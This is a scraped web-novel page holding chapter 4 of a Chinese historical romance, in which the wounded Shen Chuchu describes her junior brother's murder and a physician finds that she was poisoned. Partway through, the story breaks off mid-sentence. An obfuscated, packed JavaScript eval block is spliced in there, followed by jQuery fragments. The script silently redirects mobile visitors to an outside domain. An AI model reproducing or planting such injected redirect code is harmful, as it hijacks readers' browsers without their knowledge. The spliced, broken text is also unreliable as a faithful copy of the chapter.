默认冷灰
24号文字
方正启体

4. 养伤

作者:浮光予雪本书字数:K更新时间:
    沈初初下意识地抚上伤口,“当时腹背受敌,来人不下五百精锐,皆是死士。打得正胶着,我只听得云儿大叫了一声师姐后我便胸后受剑。也,也看着云儿他…”


    极力想平复情绪,沈初初拳头握紧,纤细的身体抑制不住地微微颤抖,仿佛再次陷入那一刻的恐惧与绝望。


    “云儿他,便被割喉…”


    沈初初声音已然嘶哑。


    话一出,三人皆沉默了,只有褚嫣儿压抑不住的、断断续续的抽噎声。


    “大哥!”褚嫣儿猛地抬起头,红肿的双眼死死盯着褚墨,带着浓重的哭腔,每一个字都像是从齿缝里挤出来,“我们一定要为二哥报仇!一定要!”


    想起上次见二哥还是在几个月前,二哥受师傅所托下山办事,顺道回了一趟褚府。


    彼时大哥尚在边关未归,二哥怕她独自在府中烦闷,便特意带着她一同出门。路上,二哥兴致勃勃地同她说着山上的趣事,也互通了近况。他眼底漾着光,告诉她,再过两个月,他最是敬仰的师姐便要学成下山了。


    “到时候啊,”二哥弯着嘴角,笑容温暖又带着点少年气的促狭,“嫣儿你可得多去找找你初初师姐。她在山上待了整整十年,山下的事怕是生疏得很,你带她好好逛逛,熟悉熟悉咱们大周的风物……”


    “想必你就是初初师姐吧。”褚嫣儿用力吸了吸鼻子,强行压下翻涌的情绪,想起了当时二哥弯着嘴角告诉自己的名字。


    沈初初。


    “嗯。”沈初初看着眼前这张与褚云有五六分相似的稚嫩脸庞,心头又是一酸。


    “嫣儿妹妹,第一眼见你我便知晓你是云儿常念叨的那个最让他操心、又最让他疼爱的三妹了。”带着几分熟悉调侃的语气,像极了二哥平日说她时的口吻。


    褚嫣儿心头一颤,破涕为笑,她不好意思地揉了揉红肿的眼睛,带着一丝小心翼翼的希冀,轻声问:“那我以后能叫你初初姐姐吗?”


    望着少女那双哭过之后更显清澈、此刻又带着点羞怯撒娇意味的眼睛,那神态,那微抿的唇角,简直与褚云如出一辙。


    沈初初又红了眼眶,重重地点了点头。


    “褚将军。”沈初初目光转向褚墨,见那男子神情专注地凝视着自己,她不顾肩上钻心的疼痛,勉强抱拳行礼:“容请初初叨扰贵府两日,等我养伤两日便回沈府。”


    没有说回家,而是回沈府。


    这微妙的措辞差异,褚墨敏锐地捕捉到了。他眸色微深,却并未追问,只是沉声道:“沈姑娘安心住下便是。你于褚府有恩,亦是云儿的师姐,何来叨扰?待你伤愈,若有其他打算,再从长计议不迟。”


    沈初初并未推拒,此刻绝非回沈府的良机。


    府中那位赵姨娘和她所出的庶出女儿,此刻怕是正暗自欢喜。方才叙述遇袭经过时,她刻意隐去了下山前遭人下药一节,眼下证据全无,需要时间慢慢调查。


    “嫣儿,沈姑娘就暂居紫竹苑,目前就由你照顾。”褚墨转向自家妹妹,声音带着不容置疑的威严。


    待褚嫣儿应下,他便转身大步离去。不一会儿,便亲自端着一大盆清水回来。盆内水波微晃,倒映着烛光,也映着他紧绷如刀削般的侧脸。


    “大哥…”褚嫣儿看着兄长手中的水盆,瞬间明白他的意图,刚止住的泪水又迅速蓄满眼眶。


    二哥的遗容目前只有脸和脖子上的致命处有过清理,周身仍布满干涸的血污与尘土,一身白衣也快要看不出原本颜色。


    褚墨将水盆轻轻放在褚云冰冷的尸身旁,取过洁白的布巾浸入水中。


    “嫣儿,扶沈姑娘下去歇息。”他的声音低沉压抑,“此处有我。出去后吩咐家卫,无我命令,任何人不得靠近。”


    擦拭的动作顿了顿,他喉结艰难地滚动了一下,嘶哑的声音再次响起,带着一种被碾碎的疲惫,“后日,后日便下葬吧。今夜我清理完暂时委屈二弟呆在冰窖。”


    在沈初初和褚嫣儿看不到的眼睛里,几滴滚烫的液体终于挣脱了意志的束缚,在褚墨深陷的眼窝中剧烈地打着转,几欲夺眶而出。


    他克制着,硬生生将那汹涌的悲怆逼退回去。他是撑起这偌大将军府的顶梁柱,脆弱是他此刻最奢侈也最不该有的东西。


    沈初初一落床就接近于昏迷似的沉睡了过去,褚嫣儿不敢怠慢,亲自指挥着几个手脚麻利的丫鬟,用温热的清水,极轻柔地为她拭去脸上、发间沾染的尘土和干涸血渍,又小心翼翼地替她换上了一身干净的素色寝衣。


    待一切收拾妥当,褚嫣儿看着躺在床上的女子,不由得惊叹,这莫不是自己见过的最美女子了。


    先前泥污血痕掩盖,饶是从五官便知道有副好面庞,却不想洗净之后,这脸庞竟似拂去尘土的稀世明珠,光华灼灼。


    她的眉目如画,脸庞如同白玉般无暇,微蹙的眉心说明女子在睡梦似乎并不安稳,长而浓密的睫毛如同栖息的蝶翼,在眼下投落一小片阴影。朱唇轻启,侧耳细听,依稀能辨出那破碎呓语中反复纠缠的两个字。


    云儿。


    许神医匆匆赶来诊脉时,沈初初依旧深陷在无边的昏睡之中,对外界毫无所觉。


    “如何?”诊完脉,褚嫣儿便迫不及待地拉着许神医引至正厅,想要知道沈初初的身体状况。


    她和大哥褚墨约定好诊完脉后需立刻带神医去见他。


    “这位姑娘身中数刀,但并不致命…”许神医踌躇着斟酌语句,似还在思考着什么一般。


    “胸口的剑伤乃是致命伤,从背后一剑穿透前胸,并且剑身应是抹了蚀骨毒。”


    他抬眼看向神色骤变的褚家兄妹,一字一句,如同重锤敲击:“中毒者伤口会如蚂蚁啃食般剧痛,且伴有眩晕,神智昏聩之症。待毒液渗透到骨髓,便是刮骨钢刀寸寸凌迟之苦,直至骨销髓毁而亡,此痛非人所能忍,往往等不到毒入骨髓,便已不堪折磨,自求了断。”


    许神医越说眉头皱的越紧,褚家兄妹听闻后眼中俱是难以置信的骇然。


    何等阴毒的手段!竟不知大周还有这等毒药!


    许神医的声音陡然沉了下去,说道:“只是老夫没想明白的是,这剑锋穿胸而过,理应是即刻毙命之伤,而且从剑伤来看,分明已不止一日,按常理,那蚀骨之毒早该侵入骨髓。”


    许神医深思,浑浊的眼眸骤然间亮起一丝锐光,“而且老夫在探查脉象时,还发现这位姑娘体内还残留了部分散功丸的痕迹。”


    “散功丸?!好一个赶尽杀绝,当真是不留半分余地。”褚墨本就凌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936797|177253||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    厉的眼神泛起寒霜。


    幕后之人,竟是布下了双重杀局。先不知用什么手段令沈初初服下散功丸,再趁其力竭之际,用淬毒利刃穿透后背胸腔。


    “此女能活到今日,实乃大幸啊。”许神医喟然长叹。


    “老夫这就回去拟一张方子。按照方子按时服用,虽说无法彻底清毒,但可暂保毒性不再蔓延发作。”


    “那如何才能彻底解毒呢?”褚嫣儿心急追问。


    “要想彻底清除体内的毒素,非专解此毒的解药不可。只是…”许神医微微一顿,声音带着沉重的忧虑,“此毒诡谲,绝非中原之物,那解药在中原怕是更加难寻。不过老夫定当穷尽毕生所学,钻研克制之法,绝不让此等阴毒之物,再祸害我大周子民。”


    许神医话说的坚锵有力,作为医者,济世便是自己的医德所在。


    褚墨吩咐家卫把许神医送走后,取来军中常备的几样上好的金创药和生肌膏,让褚嫣儿拿给沈初初。


    其中赫然包括一个莹白如玉的小瓷瓶,褚嫣儿一眼便认出那是皇上赏赐的无痕玉露膏。


    眼波流转,褚嫣儿带着促狭的笑意揶揄道:“大哥,从前嫣儿擦破了手,求了你好久你都不肯把这药膏给人家,如今倒是大方啦?”


    褚墨淡淡瞥了自家妹妹一眼,无奈道:“她是云儿的师姐,而且…”他顿了顿,目光投向紫竹苑的方向,声音低沉下去。“女儿家总归是在乎身上不留痕的,若留了疤,怕是要难过许久。”话语间是自己也未曾察觉到的关心。


    褚嫣儿闻言,想起昨夜给沈初初更衣时,自己确实也被她身上的一道道疤痕给吓了一跳。


    这些伤疤就如没有生长规律的藤蔓一般,附着在她身体上,全是新伤,且血肉翻出,触目惊心,一看便是在打斗中产生的。


    最严重的便是胸口的那一剑,手掌般大小的疤痕在犹如羊脂白玉般的皮肤上,显得格外残酷而突兀。


    “放心吧大哥,嫣儿会好好照顾初初姐姐的。”女子明媚地笑着,跟大哥保证道。


    褚墨眉宇间笼罩着化不开的沉重:“明日便是云儿下葬的日子,我已传出褚家二公子不幸罹难的消息。届时,府中必定宾客云集,会有很多朝中之人来往。嫣儿,你需谨言慎行,万不可再如初见沈姑娘时那般。”


    嫣儿想起自己对沈初初的误解和刁难,脸颊微热,有些赧然地垂下头,撇了眼哥哥嘟囔着说道,“嫣儿知道了。”


    沈初初自昏沉中醒来,窗外天色依旧一片混沌的灰暗。她不知已昏睡多久,只觉浑身酸软无力。


    强撑着坐起身,发现身上已换了洁净柔软的寝衣,各处伤口传来阵阵清凉之意,痛楚大为缓解,显然是有人悉心照料,已为她上过药了。


    她缓缓下床,推开房门,目之所及,整个褚府已化作一片缟素,廊柱、门楣、处处悬挂着刺眼的白,来往的家卫仆从皆身着素白麻衣,步履匆匆,面容悲戚。


    沈初初随手招来门边侍立的一名婢女询问,才知晓自己已经昏睡一天,明日便是师弟的下葬之日。


    沈初初沉思,不知沈府那边是否知晓自己竟然未死?不知还在北疆的父亲听到自己的死讯又会如何?思绪纷乱,扶住门框的手已不自觉发力,青筋狰狞地浮现在苍白的手背上。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)